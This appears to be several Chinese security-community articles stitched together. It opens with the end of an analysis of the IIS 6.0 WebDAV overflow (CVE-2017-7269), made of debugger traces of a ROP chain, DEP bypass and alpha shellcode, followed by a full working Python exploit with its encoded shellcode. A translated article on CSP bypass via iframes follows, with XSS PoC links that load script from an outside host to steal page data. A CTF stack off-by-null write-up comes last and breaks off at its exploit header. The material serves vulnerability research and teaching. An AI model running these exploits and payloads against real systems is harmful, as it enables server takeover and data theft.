68016086 8b4004 mov eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x49:
68016089 50 push eax
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3 ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d pop ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000 ret 20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
经过一系列ROP之后，会进入KiFastSystemCall，这是利用SharedUserData bypass DEP的一环。
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:009> p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56 push esi
0:009> dc 68031460
68031460 00560056 00410059 00340034 00340034 V.V.Y.A.4.4.4.4.
68031470 00340034 00340034 00340034 00410051 4.4.4.4.4.4.Q.A.
之后进入alpha shellcode，这时候68031460作为shareduserdata，已经具备可执行权限。
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE 有了可执行权限
这里由于url存入内存按照宽字节存放，因此都是以00 xx方式存放，因此不能单纯使用shellcode，而得用alpha
shellcode（结尾基友用了另一种方法执行shellcode，大家可以看下），alpha shellcode会先执行一段操作。随后进入解密部分。
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
eip=6803154e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e 41 inc ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803154f esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f 004200 add byte ptr [edx],al ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x296:
68031552 6b0110 imul eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031555 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x299:
68031555 024102 add al,byte ptr [ecx+2] ds:0023:68031588=54
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29c:
68031558 8802 mov byte ptr [edx],al ds:0023:68031568=bc
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a 42 inc edx
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b 803941 cmp byte ptr [ecx],41h ds:0023:68031586=32
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> dd 68031580
68031580 00380059 00320059 004d0054 004a0054
68031590 00310054 0030004d 00370031 00360059
680315a0 00300051 00300031 00300031 004c0045
680315b0 004b0053 00300053 004c0045 00330053
可以看到，解密前，alpha shellcod部分，随后解密结束之后。
0:009> p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca mov eax,0CABF26B7h
0:009> dd 68031580
68031580 223cec9b 265a2caa 6a289c9c 9f7c5610
68031590 90a91aa3 9f8f9004 beec8995 6120d015
680315a0 60351b24 30b44661 a56b0c3a 4eb0584f
680315b0 b3b04c03 65916fd3 87313668 9f7842bd
680315c0 14326fa2 fcc51b10 c16ae469 05721746
680315d0 7f01c860 44127593 5f97a1ee 840f2148
680315e0 4fd6e669 089c4365 23715269 e474df95
shellcode已经被解密出来，随后会调用winexec，执行calc。
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f9 51 push ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0 jmp eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8 68031614 68031633 00000001 00000000
0:009> dc 68031633 l2
68031633 636c6163 6578652e calc.exe
第二个参数是0x1，是SW_SHOWNORMAL，但由于服务无窗口，因此calc无法弹出。
**
**
其实，这个过程可以替换成其他的shellcode，相关的shellcode替换链接可以看我的好基友LCatro的几篇文章，都非常不错。
<https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/>
最后我想说，我在深圳，刚才和几个平时网上的好朋友吃夜宵，聊到这个漏洞，没想到在几个小时前认识的彭博士，就是这个漏洞的作者！真的没有想到，还好自己分析的这套思路和这个漏洞作者的思路相差无几，不然就被打脸了。真的很有缘！一下学到了好多。
这篇最后还是没有按时发出，不过希望能和大家一起学习！谢谢阅读！
**PoC**
(来源网络<https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py>)
#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND / HTTP/1.1rnHost: localhostrnContent-Length: 0rn'
pay+='If: <http://localhost/aaaaaaa'
pay+='xe6xbdxa8xe7xa1xa3xe7x9dxa1xe7x84xb3xe6xa4xb6xe4x9dxb2xe7xa8xb9xe4xadxb7xe4xbdxb0xe7x95x93xe7xa9x8fxe4xa1xa8xe5x99xa3xe6xb5x94xe6xa1x85xe3xa5x93xe5x81xacxe5x95xa7xe6x9dxa3xe3x8dxa4xe4x98xb0xe7xa1x85xe6xa5x92xe5x90xb1xe4xb1x98xe6xa9x91xe7x89x81xe4x88xb1xe7x80xb5xe5xa1x90xe3x99xa4xe6xb1x87xe3x94xb9xe5x91xaaxe5x80xb4xe5x91x83xe7x9dx92xe5x81xa1xe3x88xb2xe6xb5x8bxe6xb0xb4xe3x89x87xe6x89x81xe3x9dx8dxe5x85xa1xe5xa1xa2xe4x9dxb3xe5x89x90xe3x99xb0xe7x95x84xe6xa1xaaxe3x8dxb4xe4xb9x8axe7xa1xabxe4xa5xb6xe4xb9xb3xe4xb1xaaxe5x9dxbaxe6xbdxb1xe5xa1x8axe3x88xb0xe3x9dxaexe4xadx89xe5x89x8dxe4xa1xa3xe6xbdx8cxe7x95x96xe7x95xb5xe6x99xafxe7x99xa8xe4x91x8dxe5x81xb0xe7xa8xb6xe6x89x8bxe6x95x97xe7x95x90xe6xa9xb2xe7xa9xabxe7x9dxa2xe7x99x98xe6x89x88xe6x94xb1xe3x81x94xe6xb1xb9xe5x81x8axe5x91xa2xe5x80xb3xe3x95xb7xe6xa9xb7xe4x85x84xe3x8cxb4xe6x91xb6xe4xb5x86xe5x99x94xe4x9dxacxe6x95x83xe7x98xb2xe7x89xb8xe5x9dxa9xe4x8cxb8xe6x89xb2xe5xa8xb0xe5xa4xb8xe5x91x88xc8x82xc8x82xe1x8bx80xe6xa0x83xe6xb1x84xe5x89x96xe4xacxb7xe6xb1xadxe4xbdx98xe5xa1x9axe7xa5x90xe4xa5xaaxe5xa1x8fxe4xa9x92xe4x85x90xe6x99x8dxe1x8fx80xe6xa0x83xe4xa0xb4xe6x94xb1xe6xbdx83xe6xb9xa6xe7x91x81xe4x8dxacxe1x8fx80xe6xa0x83xe5x8dx83xe6xa9x81xe7x81x92xe3x8cxb0xe5xa1xa6xe4x89x8cxe7x81x8bxe6x8dx86xe5x85xb3xe7xa5x81xe7xa9x90xe4xa9xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='xe7xa5x88xe6x85xb5xe4xbdx83xe6xbdxa7xe6xadxafxe4xa1x85xe3x99x86xe6x9dxb5xe4x90xb3xe3xa1xb1xe5x9dxa5xe5xa9xa2xe5x90xb5xe5x99xa1xe6xa5x92xe6xa9x93xe5x85x97xe3xa1x8exe5xa5x88xe6x8dx95xe4xa5xb1xe4x8dxa4xe6x91xb2xe3x91xa8xe4x9dx98xe7x85xb9xe3x8dxabxe6xadx95xe6xb5x88xe5x81x8fxe7xa9x86xe3x91xb1xe6xbdx94xe7x91x83xe5xa5x96xe6xbdxafxe7x8dx81xe3x91x97xe6x85xa8xe7xa9xb2xe3x9dx85xe4xb5x89xe5x9dx8exe5x91x88xe4xb0xb8xe3x99xbaxe3x95xb2xe6x89xa6xe6xb9x83xe4xa1xadxe3x95x88xe6x85xb7xe4xb5x9axe6x85xb4xe4x84xb3xe4x8dxa5xe5x89xb2xe6xb5xa9xe3x99xb1xe4xb9xa4xe6xb8xb9xe6x8dx93xe6xadxa4xe5x85x86xe4xbcxb0xe7xa1xafxe7x89x93xe6x9dx90xe4x95x93xe7xa9xa3xe7x84xb9xe4xbdx93xe4x91x96xe6xbcxb6xe7x8dxb9xe6xa1xb7xe7xa9x96xe6x85x8axe3xa5x85xe3x98xb9xe6xb0xb9xe4x94xb1xe3x91xb2xe5x8dxa5xe5xa1x8axe4x91x8exe7xa9x84xe6xb0xb5xe5xa9x96xe6x89x81xe6xb9xb2xe6x98xb1xe5xa5x99xe5x90xb3xe3x85x82xe5xa1xa5xe5xa5x81xe7x85x90xe3x80xb6xe5x9dxb7xe4x91x97xe5x8dxa1xe1x8fx80xe6xa0x83xe6xb9x8fxe6xa0x80xe6xb9x8fxe6xa0x80xe4x89x87xe7x99xaaxe1x8fx80xe6xa0x83xe4x89x97xe4xbdxb4xe5xa5x87xe5x88xb4xe4xadxa6xe4xadx82xe7x91xa4xe7xa1xafxe6x82x82xe6xa0x81xe5x84xb5xe7x89xbaxe7x91xbaxe4xb5x87xe4x91x99xe5x9dx97xebx84x93xe6xa0x80xe3x85xb6xe6xb9xafxe2x93xa3xe6xa0x81xe1x91xa0xe6xa0x83xccx80xe7xbfxbexefxbfxbfxefxbfxbfxe1x8fx80xe6xa0x83xd1xaexe6xa0x83xe7x85xaexe7x91xb0xe1x90xb4xe6xa0x83xe2xa7xa7xe6xa0x81xe9x8ex91xe6xa0x80xe3xa4xb1xe6x99xaexe4xa5x95xe3x81x92xe5x91xabxe7x99xabxe7x89x8axe7xa5xa1xe1x90x9cxe6xa0x83xe6xb8x85xe6xa0x80xe7x9cxb2xe7xa5xa8xe4xb5xa9xe3x99xacxe4x91xa8xe4xb5xb0xe8x89x86xe6xa0x80xe4xa1xb7xe3x89x93xe1xb6xaaxe6xa0x82xe6xbdxaaxe4x8cxb5xe1x8fxb8xe6xa0x83xe2xa7xa7xe6xa0x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>rnrn'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close
**验证截图**
**临时解决办法**
1.关闭WebDAV服务
2.使用相关防护设备
**参考**
****
<https://github.com/edwardz246003/IIS_exploit/> | 社区文章 |
# 巧妙地绕过CSP：欺骗CSP执行任意代码
##### 译文声明
本文是翻译文章，文章原作者 booom，文章来源：lab.wallarm.com
原文地址：<https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
内容安全策略(Content Security
Policy，CSP)是一种内置的浏览器技术，有助于防止跨站点脚本(XSS)等攻击。它列出并描述了路径和源，浏览器可以从这些路径和源安全地加载资源,这些资源可能包括图像、框架、JavaScricript等。
但是，如果当所有不安全的资源来源都不被允许时，我们仍可以给出一个成功的XSS事件的例子呢？是怎么做到的呢？
## 当一切正常时，CSP是如何工作的
这里一个常见的使用场景是当CSP指定图片只能从当前域加载时，这意味着所有带有外部域的标记都将被忽略。
CSP策略通常用于阻止不受信任的JS和最小化XSS攻击。
下面是一个允许从本地域(self)加载和执行以下资源的示例：
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
由于安全策略意味着“除非明确允许，否则禁止使用”，因此配置禁止使用任何执行作为字符串传输的代码的函数。例如：eval，setTimeout，setInterval都将被阻止，因为设置了unsafe-eval[](https://p3.ssl.qhimg.com/t012e6d8c0829aa63b0.png)
来自外部源的任何内容也会被阻止，包括图像、CSS、WebSocket，特别是JS。
要了解它是如何工作的，请查看我特意放入XSS漏洞的[这段代码](http://hsts.pro/csp.php)。尝试以这种方式窃取数据而不惊动用户，即不重定向。
## 欺骗CSP
尽管有这些限制，我们仍然可以上传场景、创建框架和组合图像，因为self并不妨碍使用由SOP（Self Origin
Policy）管理的资源。由于CSP也适用于框架，因此相同的策略也适用于可能包含以srcdoc作为协议的数据、blob或文件的框架。
[](https://p2.ssl.qhimg.com/t0131d044994371f95b.png)
那么，我们真的可以在测试文件中执行任意的javascript吗？
我们要依靠这里的一个整洁的勾子。大多数现代浏览器都会自动将文本文件或图像等文件转换为HTML页面。
[](https://p4.ssl.qhimg.com/t012e845f88083fdedd.png)
这种行为的原因是为了正确地描述浏览器窗口中的内容；它需要有正确的背景、居中等等。不过，iframe也是一个浏览器窗口！因此，在iframe中打开任何需要在浏览器中显示的文件(例如，favicon.ico
or robots.txt)，只要内容类型正确，就会立即将它们转换为HTML，而无需进行任何数据验证。
如果一个框架打开了一个没有CSP头的站点页面，会发生什么？你可以猜出答案。没有CSP，一个开放的框架将执行页面内的所有JS。如果页面有XSS漏洞，我们可以自己在框架中编写一个js文件。
为了测试这一点，让我们尝试一个场景，它打开了一个iframe。让我们以我们前面已经提到的Bootstrap.min.css为例。
frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);
[](https://p0.ssl.qhimg.com/t01fe30df1e95630919.png)
让我们看看框架里有什么。正如预期的那样，CSS被转换成HTML，我们设法覆盖了Head的内容(尽管开头是空的)。现在，让我们看看是否可以让它引入外部JS文件。
script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);
[](https://p5.ssl.qhimg.com/t01fb9d5ddcdbde31fe.png)
成功了！这就是我们如何通过iframe执行注入，创建我们自己的js场景，并查询父窗口以窃取其数据。
XSS攻击只需打开一个iframe，并将其指向任何不包含CSP头的路径。它可以是标准的.ico、robots.txt、sitemap.xml、css/js、jpg或其他文件。
**[PoC](http://hsts.pro/csp.php?xss=f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/robots.txt%22;f.onload=%28%29=%3E%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)**
## 简单的方法
如果站点开发人员非常谨慎，并且任何预期的站点响应(200-OK)都包含X-Frame-Options:
Deny怎么办？我们还可以试着进去。使用CSP的第二个常见错误是在返回Web扫描错误时缺少保护头。最简单的方法就是尝试打开一个不存在的网页。我注意到许多资源只包含200代码响应的X-Frame-Options，而没有404代码的X-Frame-Options。
如果也考虑到了这一点，我们可以尝试让站点返回一个标准的web服务器“invalid request”消息。
例如，强制Nginx返回“400 bad
request”，你所需要做的就是查询/./，以防止浏览器对请求进行规范化，并将/./替换为/./，我们将对圆点和最后一个斜杠使用Unicode。
frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);
[](https://p1.ssl.qhimg.com/t0188a0385cb1dca2c4.png)
这里的另一种可能是传递和不正确的Unicode路径，即/%或/%z
然而，让Web服务器返回错误的最简单方法是超出URL允许的长度。大多数现代浏览器都可以组合一个url，这个url比web服务器所能处理的时间要长得多。由此类web服务器和nginx&apache处理的标准默认url长度设置为不超过8KB。
为此，我们可以执行路径长度为20000字节的类似场景：
frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);
[](https://p1.ssl.qhimg.com/t014bdf022551d62929.png)
另一种欺骗服务器返回错误的方法是触发cookie长度限制。同样，浏览器支持比web服务器能够处理的[更多和更长的cookie](http://browsercookielimits.squawky.net/)。按照同样的设想：
1. 创建一个巨大的cookie
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
2. 使用任何地址打开iframe，这将导致服务器返回错误(通常没有XFO或CSP)
3. 移除cookie：
for(var i=0;i<5;i++){document.cookie=i+”=”}
4. 将自己的js脚本编写到窃取父级数据的框架中
你自己试试吧。下面是一些提示，如果你需要的话：[PoC](http://hsts.pro/csp.php?xss=for%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%2b%22a%22.repeat%284000%29%7D;f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/%22;f.onload=%28%29=%3E%7Bfor%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%7D;x=document.createElement%28%27script%27%29;x.src=%27data:,alert%28%22Pwned%20%22%2btop.secret.textContent%29%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)：)
有许多其他方法可以导致Web服务器返回错误，例如，我们可以发送一个很长的POST请求，或者以某种方式导致Web服务器500错误。
## 为什么CSP如此容易受骗，该怎么办？
简单的根本原因是，控制资源的策略嵌入到[资源本身](https://w3c.github.io/webappsec-csp/2/#which-policy-applies)中。
为了避免出现这种情况，我的建议如下：
* CSP报头应该出现在所有页面上。
* 应将CSP选项配置为仅限于使用特定资源所必需的权限。尝试设置Content-Security-Policy-Report-Only: default-src ‘none’ ，并逐步为特定用户添加权限规则。
如果必须使用不安全内联来正确加载和处理资源，则唯一的保护是使用none或散列源。否则，你将暴露在XSS攻击中，如果CSP不能保护你，为什么需要它？！
此外，正如@Majorisc所分享的那样，从页面中窃取数据的另一个技巧是使用RTCPeerConnection并通过DNS请求传递数据。不幸的是，default-src ‘self’不能防止它。
审核人：yiwang 编辑：边边 | 社区文章 |
# 从强网杯线下easygo看栈中off-by-null的利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前我们一直都是将off-by-null设置到堆中，但是在今年强网杯线下的几道题目中都涉及到了栈中off-by-null的利用。
## 分析
程序的主逻辑非常的简单
__int64 main()
{
__int64 result; // rax
do
{
result = (unsigned int)get_input() ^ 1;
if ( (_BYTE)result )
break;
printf("continue?(0:no, 1:yes): ");
result = readint();
}
while ( (_DWORD)result );
return result;
}
__int64 get_input()
{
char s1[16]; // [rsp+0h] [rbp-10h] BYREF
printf("client send >> ");
readstr((__int64)s1, 0x10);
if ( !strcmp(s1, "exit") )
return 0LL;
printf("server back << %s\n", s1);
return 1LL;
}
int readint()
{
char nptr[16]; // [rsp+0h] [rbp-10h] BYREF
readstr((__int64)nptr, 0x10);
return atoi(nptr);
}
__int64 __fastcall readstr(__int64 buf, int length)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < length; ++i )
{
if ( read(0, (void *)(i + buf), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( *(_BYTE *)(i + buf) == 10 )
break;
}
*(_BYTE *)(i + buf) = 0;
return (unsigned int)i;
}
就是一直循环的读取数据，每一次循环都会判断是否continue，如果读取得到的字符串是exit那么程序就退出循环，结束。漏洞也非常的好发现，也就是在readstr函数中，最后赋值为0的部分存在问题，会导致一个off-by-null。
那么我们看看这个off-by-null会造成什么后果。可以注意到这里的readstr的调用都是针对栈中数据进行读入的，无论是getinput还是readint，都是向栈中0x10字节大小的空间进行输入的读入，并且传入的length都是0x10。那么就意味着我们可以覆写rbp的低一字节为0。
那么如果当当前栈中数据输入的地址的低1字节为0x00的时候，也就是rbp的低1字节为0x10的时候，如果我们将rbp的低1字节覆写为0，那么经过两次leave
ret就可以劫持控制流到我们指定的位置。
但是这里我们只有0x10大小的地址空间，并且这里如果要调用两次leave ret的话，那么就需要从main函数返回。因此在`"continue?("`
的时候就需要输入0，也就是前0x8字节的地址空间需要部署固定的内容，因此这里只有0x8字节也就是一个gadget的空间来劫持控制流。
那么这里需要看一下如何扩大空间。看一下返回时候寄存器的情况。
我们看到这里的rdi的值是一个栈地址，并且恰好就是我们数据输入的栈地址（可以看一下rsp的值）。rsi的值则是一个libc附近的地址，那么很容易的想到这里直接调用readstr函数，就可以继续向栈中写入gadget，重新劫持控制流。我们看一下readstr函数的参数
__int64 __fastcall readstr(__int64 buf, int length)
注意到这里的第二个参数是一个length的值，也就是说需要libc的地址满足一定的条件，从而保证length是大于0的值，那么这里就可以读入一个很大的的内存空间用来部署我们的rop
chain。
程序在一开始开启了沙箱
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
因此这里我们只能采用orw的方式获取flag。
当然这里在进行rop chain写入的时候还需要注意一个小细节，我们再来看一下readstr的实现
__int64 __fastcall readstr(__int64 buf, int length)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < length; ++i )
{
if ( read(0, (void *)(i + buf), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( *(_BYTE *)(i + buf) == 10 )
break;
}
*(_BYTE *)(i + buf) = 0;
return (unsigned int)i;
}
可以看到这里for循环中写入内容的指针值通过buf+i来进行控制的，部分是我们传入的参数，而i是存储在栈上的。而由于我们调用的特殊性，这里的readstr函数栈与我们将要覆写的栈重合，也就是在覆写的时候会将i覆写掉，因此这里在覆写的时候需要将i的值覆写为4才能够继续进行写入，当然覆写为其他的特定值跳过一定空间的写入也是可以的。
之后的rop chian 的构造不再赘述。
## EXP
完整的EXP如下
# -*- coding: utf-8 -*- from pwn import *
file_path = "./easy_go"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
